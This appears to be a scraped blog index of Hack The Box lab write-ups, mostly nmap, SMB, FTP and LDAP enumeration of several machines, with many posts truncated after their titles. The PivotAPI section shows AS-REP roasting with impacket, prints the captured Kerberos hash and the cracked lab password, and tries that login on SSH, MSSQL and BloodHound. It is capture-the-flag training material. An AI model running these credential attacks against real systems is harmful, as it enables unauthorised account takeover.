| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-time: 
|   date: 2023-10-08T18:52:41
|_  start_date: 2023-10-08T18:50:58
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: MULTIMASTER
|   NetBIOS computer name: MULTIMASTER\x00
|   Domain name: MEGACORP.LOCAL
|   Forest name: MEGACORP.LOCAL
|   FQDN: MULTIMASTER.MEGACORP.LOCAL
|_  System time: 2023-10-08T11:52:40-07:00
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.26 seconds

smb

└─$ smbclient -N -L //10.10.10.179                            
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.179 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Web Server

Wednesday, October 4, 2023 | 23 minutes Read

[HTB] Machine: PivotAPI

PivotAPI

Enumeration

nmap

└─$ nmap -Pn -p- 10.10.10.240 --min-rate 5000                                                                              
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:10 BST
Nmap scan report for 10.10.10.240 (10.10.10.240)
Host is up (0.10s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49708/tcp open  unknown
52843/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 65.93 seconds

└─$ nmap -Pn -p21,22,53,88,135,139,389,445,464,593,636,1433,3268,3269,9389 -sC -sV 10.10.10.240 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:12 BST
Nmap scan report for 10.10.10.240 (10.10.10.240)
Host is up (0.10s latency).

PORT     STATE    SERVICE       VERSION
21/tcp   open     ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
| 02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
| 02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
| 02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
| 08-08-20  01:18PM               219091 notes1.pdf
| 08-08-20  01:34PM               279445 notes2.pdf
| 08-08-20  01:41PM                  105 README.txt
|_02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
22/tcp   open     ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   3072 fa:19:bb:8d:b6:b6:fb:97:7e:17:80:f5:df:fd:7f:d2 (RSA)
|   256 44:d0:8b:cc:0a:4e:cd:2b:de:e8:3a:6e:ae:65:dc:10 (ECDSA)
|_  256 93:bd:b6:e2:36:ce:72:45:6c:1d:46:60:dd:08:6a:44 (ED25519)
53/tcp   open     domain        Simple DNS Plus
88/tcp   open     kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-05 19:12:42Z)
135/tcp  open     msrpc         Microsoft Windows RPC
139/tcp  open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  filtered ldap
445/tcp  open     microsoft-ds?
464/tcp  filtered kpasswd5
593/tcp  open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open     tcpwrapped
1433/tcp open     ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.10.240:1433: 
|     Target_Name: LICORDEBELLOTA
|     NetBIOS_Domain_Name: LICORDEBELLOTA
|     NetBIOS_Computer_Name: PIVOTAPI
|     DNS_Domain_Name: LicorDeBellota.htb
|     DNS_Computer_Name: PivotAPI.LicorDeBellota.htb
|     DNS_Tree_Name: LicorDeBellota.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.10.240:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-10-05T19:05:41
|_Not valid after:  2053-10-05T19:05:41
|_ssl-date: 2023-10-05T19:13:30+00:00; -7h00m01s from scanner time.
3268/tcp open     ldap          Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
3269/tcp open     tcpwrapped
9389/tcp open     mc-nmf        .NET Message Framing
Service Info: Host: PIVOTAPI; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-10-05T19:12:54
|_  start_date: N/A
|_clock-skew: mean: -7h00m01s, deviation: 0s, median: -7h00m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.10 seconds

smb

└─$ smbclient -N -L //10.10.10.240                                                              
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.240 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

dns

└─$ dig axfr LicorDeBellota.htb @PivotAPI.LicorDeBellota.htb                                                   

; <<>> DiG 9.19.17-1-Debian <<>> axfr LicorDeBellota.htb @PivotAPI.LicorDeBellota.htb
;; global options: +cmd
; Transfer failed.

ldapsearch

└─$ ldapsearch -H ldap://LicorDeBellota.htb -x -s base namingcontexts           
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=LicorDeBellota,DC=htb
namingcontexts: CN=Configuration,DC=LicorDeBellota,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=LicorDeBellota,DC=htb
namingcontexts: DC=DomainDnsZones,DC=LicorDeBellota,DC=htb
namingcontexts: DC=ForestDnsZones,DC=LicorDeBellota,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

└─$ ldapsearch -H ldap://LicorDeBellota.htb -x -b "DC=LicorDeBellota,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=LicorDeBellota,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

No results for rpc
ftp

└─$ ftp anonymous@10.10.10.240
Connected to 10.10.10.240.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||57367|)
150 Opening ASCII mode data connection.
02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
08-08-20  01:18PM               219091 notes1.pdf
08-08-20  01:34PM               279445 notes2.pdf
08-08-20  01:41PM                  105 README.txt
02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.

Running exiftool on pdf files shows LicorDeBellota.htb\kaorz

======== notes2.pdf
ExifTool Version Number         : 12.67
File Name                       : notes2.pdf
Directory                       : .
File Size                       : 279 kB
File Modification Date/Time     : 2020:08:08 12:34:25+01:00
File Access Date/Time           : 2023:10:06 19:12:03+01:00
File Inode Change Date/Time     : 2023:10:06 19:12:03+01:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 5
XMP Toolkit                     : Image::ExifTool 12.03
Creator                         : Kaorz
Publisher                       : LicorDeBellota.htb
Producer                        : cairo 1.10.2 (http://cairographics.org)

Foothold

Let’s check if user is AS-REP-roastable

└─$ impacket-GetNPUsers -dc-ip PivotAPI.LicorDeBellota.htb LicorDeBellota.htb/kaorz -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for kaorz
$krb5asrep$23$kaorz@LICORDEBELLOTA.HTB:117660010b88116ef19ce2f9e608d1d9$a8f47a80fddd556b91bb360af849916358388168cf2ed0c2783c95ff09d799d504477fefe0d1a9ab33a92243939260e558b739cedd2a8c3d61bf85ae56360069cd38a4f14b04865afdbbbf99a3816da14b41058a0249c62c180d50337a6e3c27da5cdde876ca8b4f70f1d5624c1f3358e0a451bb5ec9cb3ee580148951680f5d06f2ce8c11bf61cb8600cbb290dd046a12ad9c8cae68e4ca9706c904189e4ef0a192f8cc192e6286241547ae151111d074323e54a174b945156365f6db2f80d9b7ec558ffa64b7fcd93206f055ecfbf973fa4fff67f20ea88d63fdc29d6aea709c7da2d8073ef9f7fcc3f36a39160138e0679042f7fd8441

Let’s crack it
- kaorz:Roper4155

└─$ hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-12th Gen Intel(R) Core(TM) i5-12400, 1435/2934 MB (512 MB allocatable), 2MCU
...
$krb5asrep$23$kaorz@LICORDEBELLOTA.HTB:117660010b88116ef19ce2f9e608d1d9$a8f47a80fddd556b91bb360af849916358388168cf2ed0c2783c95ff09d799d504477fefe0d1a9ab33a92243939260e558b739cedd2a8c3d61bf85ae56360069cd38a4f14b04865afdbbbf99a3816da14b41058a0249c62c180d50337a6e3c27da5cdde876ca8b4f70f1d5624c1f3358e0a451bb5ec9cb3ee580148951680f5d06f2ce8c11bf61cb8600cbb290dd046a12ad9c8cae68e4ca9706c904189e4ef0a192f8cc192e6286241547ae151111d074323e54a174b945156365f6db2f80d9b7ec558ffa64b7fcd93206f055ecfbf973fa4fff67f20ea88d63fdc29d6aea709c7da2d8073ef9f7fcc3f36a39160138e0679042f7fd8441:Roper4155

The creds didn’t work for ssh

└─$ sshpass -p 'Roper4155' ssh kaorz@10.10.10.240
Warning: Permanently added '10.10.10.240' (ED25519) to the list of known hosts.
Permission denied, please try again.

No SPNs

└─$ impacket-GetUserSPNs LicorDeBellota.htb/Kaorz:'Roper4155' -dc-ip 10.10.10.240  
Impacket v0.11.0 - Copyright 2023 Fortra

No entries found!

No access to mysql

└─$ impacket-mssqlclient LicorDeBellota.htb/Kaorz:'Roper4155'@10.10.10.240 -windows-auth 
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Error de inicio de sesión del usuario 'LICORDEBELLOTA\Kaorz'.

User

Let’s check bloodhound

└─$ bloodhound-python -u kaorz -p 'Roper4155' -d licordebellota.htb -dc licordebellota.htb -ns 10.10.10.240 --zip
INFO: Found AD domain: licordebellota.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: licordebellota.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 28 users
INFO: Connecting to LDAP server: licordebellota.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 58 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: PivotAPI.LicorDeBellota.htb
INFO: Done in 00M 16S
INFO: Compressing output into 20231007112624_bloodhound.zip

Nothing interesting
- Domain Users

Wednesday, October 4, 2023 | 21 minutes Read

[HTB] Machine: Sizzle

Sizzle

Enumeration

nmap

└─$ nmap -Pn -p- 10.10.10.103 --min-rate 5000                                                      
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:19 BST
Nmap scan report for 10.10.10.103 (10.10.10.103)
Host is up (0.11s latency).
Not shown: 65506 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
53/tcp    open  domain
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
443/tcp   open  https
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
5986/tcp  open  wsmans
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49668/tcp open  unknown
49677/tcp open  unknown
49688/tcp open  unknown
49689/tcp open  unknown
49691/tcp open  unknown
49694/tcp open  unknown
49699/tcp open  unknown
49708/tcp open  unknown
49714/tcp open  unknown

└─$ nmap -Pn -p21,53,80,135,139,443,445,464,593,636,3268,3269,5985,5986,9389,47001 -sC -sV 10.10.10.103 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:19 BST
Nmap scan report for 10.10.10.103 (10.10.10.103)
Host is up (0.10s latency).

PORT      STATE    SERVICE          VERSION
21/tcp    open     ftp              Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open     domain           Simple DNS Plus
80/tcp    open     http             Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open     msrpc            Microsoft Windows RPC
139/tcp   open     netbios-ssn      Microsoft Windows netbios-ssn
443/tcp   open     ssl/http         Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
|_ssl-date: 2023-10-05T19:21:25+00:00; -7h00m01s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
| tls-alpn: 
|   h2
|_  http/1.1
| http-methods: 
|_  Potentially risky methods: TRACE
445/tcp   open     microsoft-ds?
464/tcp   open     kpasswd5?
593/tcp   filtered http-rpc-epmap
636/tcp   filtered ldapssl
3268/tcp  filtered globalcatLDAP
3269/tcp  filtered globalcatLDAPssl
5985/tcp  filtered wsman
5986/tcp  open     ssl/http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2023-10-05T19:21:25+00:00; -7h00m01s from scanner time.
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2018-07-02T20:26:23
|_Not valid after:  2019-07-02T20:26:23
| tls-alpn: 
|   h2
|_  http/1.1
9389/tcp  open     mc-nmf           .NET Message Framing
47001/tcp filtered winrm
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -7h00m00s, deviation: 0s, median: -7h00m01s
| smb2-time: 
|   date: 2023-10-05T19:20:48
|_  start_date: 2023-10-05T19:16:02
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.35 seconds

ftp

└─$ ftp anonymous@10.10.10.103
Connected to 10.10.10.103.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||56265|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp>

Web Server

Wednesday, October 4, 2023 | 17 minutes Read

[HTB] Machine: Control

Control

Enumeration

nmap

└─$ nmap -Pn -p- 10.10.10.167 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-30 20:22 BST
Nmap scan report for 10.10.10.167 (10.10.10.167)
Host is up (0.11s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
3306/tcp  open  mysql
49666/tcp open  unknown
49667/tcp open  unknown

└─$ nmap -Pn -p80,135,3306 -sC -sV 10.10.10.167 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-30 20:23 BST
Nmap scan report for 10.10.10.167 (10.10.10.167)
Host is up (0.12s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Fidelity
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp  open  msrpc   Microsoft Windows RPC
3306/tcp open  mysql?
| fingerprint-strings: 
|   NULL, SIPOptions: 
|_    Host '10.10.16.9' is not allowed to connect to this MariaDB server
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94%I=7%D=9/30%Time=6518759C%P=x86_64-pc-linux-gnu%r(NU
SF:LL,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.16\.9'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SIPOptions,49
SF:,"E\0\0\x01\xffj\x04Host\x20'10\.10\.16\.9'\x20is\x20not\x20allowed\x20
SF:to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.22 seconds

mysql

└─$ mysql -h 10.10.10.167
ERROR 1130 (HY000): Host '10.10.16.9' is not allowed to connect to this MariaDB server

Web Server

Saturday, September 30, 2023 | 10 minutes Read

[HTB] Machine: BroScience

BroScience

Enumeration

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Shibboleth

Enumeration

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Writer

Enumeration

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Schooled

Enumeration

[HTB] Machine: Cache

Cache

Enumeration

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Passage

Enumeration

[HTB] Machine: SneakyMailer

SneakyMailer

Enumeration

[HTB] Machine: Absolute

Absolute

Enumeration

[HTB] Machine: Multimaster

Multimaster

Enumeration

[HTB] Machine: PivotAPI

PivotAPI

Enumeration

Foothold

User

[HTB] Machine: Sizzle

Sizzle

Enumeration

[HTB] Machine: Control

Control

Enumeration